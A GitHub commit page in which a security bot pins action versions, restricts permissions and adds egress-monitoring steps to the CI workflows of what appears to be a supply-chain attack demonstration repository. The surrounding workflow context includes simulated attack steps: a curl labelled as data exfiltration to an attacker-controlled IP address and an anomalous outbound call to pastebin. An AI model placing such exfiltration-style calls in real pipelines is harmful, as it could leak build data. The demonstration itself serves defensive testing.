Skip to content

Commit

Permalink
[StepSecurity] Apply security best practices
Browse files Browse the repository at this point in the history
Signed-off-by: StepSecurity Bot <[email protected]>
  • Loading branch information
step-security-bot committed Jul 17, 2024
1 parent 1a80023 commit 4b4c994
Show file tree
Hide file tree
Showing 25 changed files with 348 additions and 57 deletions.
36 changes: 36 additions & 0 deletions .github/dependabot.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: daily

- package-ecosystem: docker
directory: /src/backdoor-demo
schedule:
interval: daily

- package-ecosystem: npm
directory: /src/backdoor-demo
schedule:
interval: daily

- package-ecosystem: docker
directory: /src/exfiltration-demo
schedule:
interval: daily

- package-ecosystem: npm
directory: /src/exfiltration-demo
schedule:
interval: daily

- package-ecosystem: npm
directory: /src/malware-simulators/backdoor-simulator
schedule:
interval: daily

- package-ecosystem: npm
directory: /src/malware-simulators/exfiltration-simulator
schedule:
interval: daily
5 changes: 4 additions & 1 deletion .github/workflows/anomalous-outbound-calls.yaml
Original file line number Diff line number Diff line change
@@ -1,13 +1,16 @@
name: Anomalous Outbound Calls
on:
workflow_dispatch:
permissions:
contents: read

jobs:
unexpected-outbound-calls:
name: AnomalousOutboundCalls
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit
- run: "curl https://pastebin.com -L || true"
Expand Down
8 changes: 4 additions & 4 deletions .github/workflows/arc-codecov-simulation.yml
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ jobs:
runs-on: self-hosted
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: block
allowed-endpoints: >
Expand All @@ -19,16 +19,16 @@ jobs:
nodejs.org:443
production.cloudflare.docker.com:443
registry.npmjs.org:443
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
- uses: actions/setup-node@1a4442cacd436585916779262731d5b162bc6ec7 # v3.8.2
with:
node-version: 18
- name: npm install
run: |
cd ./src/exfiltration-demo
npm install
- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
17 changes: 15 additions & 2 deletions .github/workflows/arc-secure-by-default.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,19 +2,32 @@ name: "ARC: Secure-By-Default Cluster-Level Policy"
on:
workflow_dispatch:

permissions:
contents: read

jobs:
direct-ip-hosted:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0

# Codecov Scenario: Exfiltrate data to attacker's IP address
- name: Data Exfiltration To Attacker Controlled IP address
run: curl 104.16.209.12 --connect-timeout 5
direct-ip-arc:
runs-on: self-hosted
steps:
- uses: actions/checkout@v3
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0

# Codecov Scenario: Exfiltrate data to attacker's IP address
- name: Data Exfiltration To Attacker Controlled IP address
Expand Down
11 changes: 8 additions & 3 deletions .github/workflows/arc-solarwinds-simulation.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,21 @@ jobs:
arc-solarwinds-simulation:
runs-on: self-hosted
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
- uses: actions/setup-node@1a4442cacd436585916779262731d5b162bc6ec7 # v3.8.2
with:
node-version: 18
- name: npm install
run: |
cd ./src/backdoor-demo
npm install
- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
11 changes: 8 additions & 3 deletions .github/workflows/arc-zero-effort-observability.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,21 @@ jobs:
build:
runs-on: self-hosted
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0
- uses: actions/setup-node@1a4442cacd436585916779262731d5b162bc6ec7 # v3.8.2
with:
node-version: 18
- name: npm install
run: |
cd ./src/exfiltration-demo
npm install
- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
6 changes: 3 additions & 3 deletions .github/workflows/changed-files-vulnerability-with-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,21 +15,21 @@ jobs:
name: Test changed-files
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
disable-sudo: true
egress-policy: block
allowed-endpoints: >
github.com:443
- uses: actions/checkout@v4
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
with:
fetch-depth: 0

# Example 1
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
uses: tj-actions/changed-files@56284d80811fb5963a972b438f2870f175e5b7c8 # v40.2.3

- name: List all changed files
run: |
Expand Down
9 changes: 7 additions & 2 deletions .github/workflows/changed-files-vulnerability-without-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -14,14 +14,19 @@ jobs:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- uses: actions/checkout@v4
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
with:
fetch-depth: 0

# Example 1
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
uses: tj-actions/changed-files@56284d80811fb5963a972b438f2870f175e5b7c8 # v40.2.3

- name: List all changed files
run: |
Expand Down
78 changes: 78 additions & 0 deletions .github/workflows/codeql.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"

on:
push:
branches: ["main"]
pull_request:
# The branches below must be a subset of the branches above
branches: ["main"]
schedule:
- cron: "0 0 * * 1"

permissions:
contents: read

jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write

strategy:
fail-fast: false
matrix:
language: ["javascript"]
# CodeQL supports [ $supported-codeql-languages ]
# Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support

steps:
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- name: Checkout repository
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7

# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@4fa2a7953630fd2f3fb380f21be14ede0169dd4f # v3.25.12
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.

# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
- name: Autobuild
uses: github/codeql-action/autobuild@4fa2a7953630fd2f3fb380f21be14ede0169dd4f # v3.25.12

# ℹ️ Command-line programs to run using the OS shell.
# 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun

# If the Autobuild fails above, remove it and uncomment the following three lines.
# modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance.

# - run: |
# echo "Run, Build Application using script"
# ./location_of_script_within_repo/buildscript.sh

- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@4fa2a7953630fd2f3fb380f21be14ede0169dd4f # v3.25.12
with:
category: "/language:${{matrix.language}}"
27 changes: 27 additions & 0 deletions .github/workflows/dependency-review.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
# Dependency Review Action
#
# This Action will scan dependency manifest files that change as part of a Pull Request,
# surfacing known-vulnerable versions of the packages declared or updated in the PR.
# Once installed, if the workflow run is marked as required,
# PRs introducing known-vulnerable packages will be blocked from merging.
#
# Source repository: https://github.com/actions/dependency-review-action
name: 'Dependency Review'
on: [pull_request]

permissions:
contents: read

jobs:
dependency-review:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- name: 'Checkout Repository'
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: 'Dependency Review'
uses: actions/dependency-review-action@5a2ce3f5b92ee19cbb1541a4984c76d921601d7c # v4.3.4
8 changes: 4 additions & 4 deletions .github/workflows/hosted-file-monitor-with-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,24 +6,24 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- uses: actions/checkout@v3
- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0

- name: npm install
run: |
cd ./src/backdoor-demo
npm install
- uses: madhead/semver-utils@latest
- uses: madhead/semver-utils@e1a38b7c0ce359dabd6d2b5c76db4408ff601dab # latest
id: version
with:
version: 1.2.3

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
11 changes: 8 additions & 3 deletions .github/workflows/hosted-file-monitor-without-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,20 +6,25 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Harden Runner
uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
with:
egress-policy: audit

- uses: actions/checkout@f43a0e5ff2bd294095638e18286ca9a3d1956744 # v3.6.0

- name: npm install
run: |
cd ./src/backdoor-demo
npm install
- uses: madhead/semver-utils@latest
- uses: madhead/semver-utils@e1a38b7c0ce359dabd6d2b5c76db4408ff601dab # latest
id: version
with:
version: 1.2.3

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@eb53b3ec07136a6ebaed78d8135806da64f7c7e2 # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
Loading

0 comments on commit 4b4c994

Please sign in to comment.